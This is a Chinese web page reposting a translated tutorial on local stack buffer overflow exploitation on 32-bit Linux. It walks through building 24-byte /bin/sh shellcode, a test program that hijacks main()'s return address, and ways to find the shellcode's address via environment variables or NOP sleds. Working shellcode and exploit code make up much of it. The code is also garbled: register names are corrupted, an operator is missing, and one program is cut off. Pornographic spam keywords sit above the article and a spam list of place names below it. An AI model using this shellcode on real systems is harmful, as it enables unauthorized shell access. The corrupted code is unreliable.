最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

緩沖區(qū)溢出的解密方法

互聯(lián)網(wǎng)   發(fā)布時間:2008-10-08 19:03:01   作者:佚名   我要評論
如何執(zhí)行 /bin/sh? 在C中,spawn出一個shell的代碼可能象這樣: shell.c : #include void main() { char *shell[2]; shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0], shell, NULL); } [m
因此,在講了這么多以后,我們所要做的全部就是把這些匯編指令轉換到一個字符串中。因此,讓我們得到這些十六進制運賽碼然后匯編我們的攻擊代碼:

sc.c :

char newsc[]= /* 24 bytes */

"\x31\xc0" /* xorl 陎,陎 */

"\x50" /* pushl 陎 */

"\x68""//sh" /* pushl $0x68732f2f */

"\x68""/bin" /* pushl $0x6e69622f */

"\x89\xe3" /* movl %esp,離 */

"\x50" /* pushl 陎 */

"\x53" /* pushl 離 */

"\x89\xe1" /* movl %esp,靫 */

"\x99" /* cdql */

"\xb0\x0b" /* movb $0x0b,%al */

"\xcd\x80" /* int $0x80 */

;

main()

{

}

[murat@victim newsc]$ gcc -g -o sc sc.c

[murat@victim newsc]$ objdump -D sc | grep \ -A13

080494b0 :

80494b0: 31 c0 xorl 陎,陎

80494b2: 50 pushl 陎

80494b3: 68 2f 2f 73 68 pushl $0x68732f2f

80494b8: 68 2f 62 69 6e pushl $0x6e69622f

80494bd: 89 e3 movl %esp,離

80494bf: 50 pushl 陎

80494c0: 53 pushl 離

80494c1: 89 e1 movl %esp,靫

80494c3: 99 cltd

80494c4: b0 0b movb $0xb,%al

80494c6: cd 80 int $0x80

80494c8: 00 00 addb %al,(陎)

...

[murat@victim newsc]$

在上面的圖中,第一行是指令內(nèi)存地址,接下面的行是匯編指令的運算碼,這也是我們興趣所在,而最后一行是與運算碼相關的匯編指令。

那么,這里就是完整的shell代碼:

"\x31\xc0" /* xorl 陎,陎 */

"\x50" /* pushl 陎 */

"\x68""//sh" /* pushl $0x68732f2f */

"\x68""/bin" /* pushl $0x6e69622f */

"\x89\xe3" /* movl %esp,離 */

"\x50" /* pushl 陎 */

"\x53" /* pushl 離 */

"\x89\xe1" /* movl %esp,靫 */

"\x99" /* cdql */

"\xb0\x0b" /* movb $0x0b,%al */

"\xcd\x80" /* int $0x80 */

最后測試我們的shell代碼:

shellcode.c :

char sc[]= /* 24 bytes */

"\x31\xc0" /* xorl 陎,陎 */

"\x50" /* pushl 陎 */

"\x68""//sh" /* pushl $0x68732f2f */

"\x68""/bin" /* pushl $0x6e69622f */

"\x89\xe3" /* movl %esp,離 */

"\x50" /* pushl 陎 */

"\x53" /* pushl 離 */

"\x89\xe1" /* movl %esp,靫 */

"\x99" /* cdql */

"\xb0\x0b" /* movb $0x0b,%al */

"\xcd\x80" /* int $0x80 */

;

main()

{

int *ret;

ret = (int *)&ret 2;

*ret = sc;

}

[murat@victim newsc]$ gcc -g -o shellcode shellcode.c

[murat@victim newsc]$ ./shellcode

bash$

嗯,它生效了。上面我們所做的是,增加ret的地址2個雙字(8字節(jié)),因而就到了main()的返回地址存儲的內(nèi)存位置。接著,因為ret相應的地址現(xiàn)在是RET,我們把字符串sc(就是我們的攻擊代碼)的地址存到ret。實際上,我們在這里改變了返回地址的值,而這個返回地址就指向了sc[]。當main()發(fā)送RET時,sc的地址寫到EIP中了,接著,CPU開始在這執(zhí)行指令,造成了/bin/sh的執(zhí)行。

寫本地緩沖區(qū)溢出漏洞利用程序

現(xiàn)在,讓我們看看下面的程序:

victim.c :

char sc[]=

"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

char large_str[50];

void main()

{

int i;

char foo[12];

int *ap = (int *)large_str;

for (i = 0; i

瞧!就是它了!我們做了什么?在for循環(huán)里面,我們拷貝了我們的shellcode字符串的地址。由于地址是32位(4字節(jié)),我們以4為步長增加i。接著,在main()里,當我們把有我們shellcode地址的large_str拷到實際只能容納12字節(jié)的foo,strcpy沒有邊界檢查,而且一直拷貝到main的返回地址。接著,當strcpy指令發(fā)送到RET,我們shellcode的地址已經(jīng)被POP進去了,而且放入了EIP。接著它就被執(zhí)行了。這里有一件事是:strcpy沒有溢出它的緩沖區(qū),它溢出了main()的緩沖區(qū),因此覆蓋了main()的返回地址。我們的shell在main()返回的時候開始,而不是strcpy返回的時候。

上面的victim.c是我們的程序。我們知道我們的shellcode跳轉的地址。如果我們要求利用另外程序的緩沖區(qū)又該如何去做呢?我們不能預先知道內(nèi)存的布局,不是嗎?這也意味著我們不知道我們的shellcode的地址。我們現(xiàn)在該怎么做呢?首先,我們必須用某些途徑把shellcode植入到有弱點的程序,而且無論怎樣我們必須得到shellcode的地址。當我們談論本地漏洞利用時,有兩種方法。

1.如Aleph1的著名文章”Smashing the Stack for Fun and Profit”所介紹的,我們把我們的shellcode放置到有缺陷程序的緩沖區(qū),而且嘗試著猜測到我們漏洞利用程序的ESP偏移量。2.這第二個方式更加簡單和聰明。通過這種方法,我們能知道我們shellcode的地址!這真是太好了!怎么做?看這個:如果你在一個linux ELF二進制文件第一次裝入內(nèi)存的時候通過gdb看它的高位地址,你將看到象這樣的一些東西:

--------------------- 0xBFFFFFFF

|\000 \000 \000 \000| 0xBFFFFFFB (4 NULL byte)

|\000 ...... | 0xBFFFFFFA (program_name)

| ..................|

|...................| n. environment variable (env[n])

|...................| n-1. environment variable (env[n-1])

|...................| ...

|...................| 1. environment variable (env[0])

|...................| ...

|...................| n. argument string (argv[n])

|...................| n-1. argument string (argv[n-1])

|...................| ...

| . |

| . |

| . |

看上面的圖,我們都會同意我們能計算最后一個環(huán)境變量地址。它是:

envp = 0xBFFFFFFF -

4 - (4 NULL bytes)

strlen(program_name) - (program_names's length - without the leading NULL).

1 - (NULL which strlen did not count above)

strlen(envp[n])) (the length of last environment string)

除去一些不必要的計算,這里是最終的結果:

envp = 0xBFFFFFFA - strlen(prog_name) - strlen(envp[n])

你還記得我們給execve提供一個環(huán)境指針嗎?這有沒有讓你想起什么?對了,我們可以通過這個環(huán)境指針把我們的shellcode傳給漏洞程序,并且計算它的地址。這意味著我們完全知道我們需要寫什么地址到漏洞緩沖區(qū)。

計算我們的shellcode 地址的公式:

ret = 0xBFFFFFFA - strlen(prog_name) - strlen(sc);

至于Aleph1在他的文章中討論的在外面被廣泛使用的方法,多少有點比我們的環(huán)境變量技術難得多。關于細節(jié)你們可以看Aleph1的文章,Smashing the Stack for Fun and Profit。

一般來說,在這個方法中,我們把”NOP”指令(NOP)放在緩沖區(qū)的開始。NOP之后,我們放置我們的shellcode,接著是這個shellcode的地址。

如我前面所說的,既然我們不知道我們shellcode的準確地址,我們在緩沖區(qū)開頭填一些NOP指令增加我們跳到我們的shellcode附近一些位置的可能性。

相關文章

最新評論

长兴县| 大连市| 雅江县| 伊金霍洛旗| 东光县| 册亨县| 京山县| 阿克苏市| 新田县| 彭水| 龙泉市| 自治县| 贵阳市| 通海县| 绥棱县| 衡南县| 靖远县| 德惠市| 环江| 库尔勒市| 托克逊县| 元阳县| 甘肃省| 陆川县| 武夷山市| 宜州市| 万全县| 合江县| 延吉市| 西乌珠穆沁旗| 涡阳县| 彩票| 边坝县| 咸丰县| 文水县| 江西省| 芦山县| 库尔勒市| 贺州市| 大姚县| 新和县|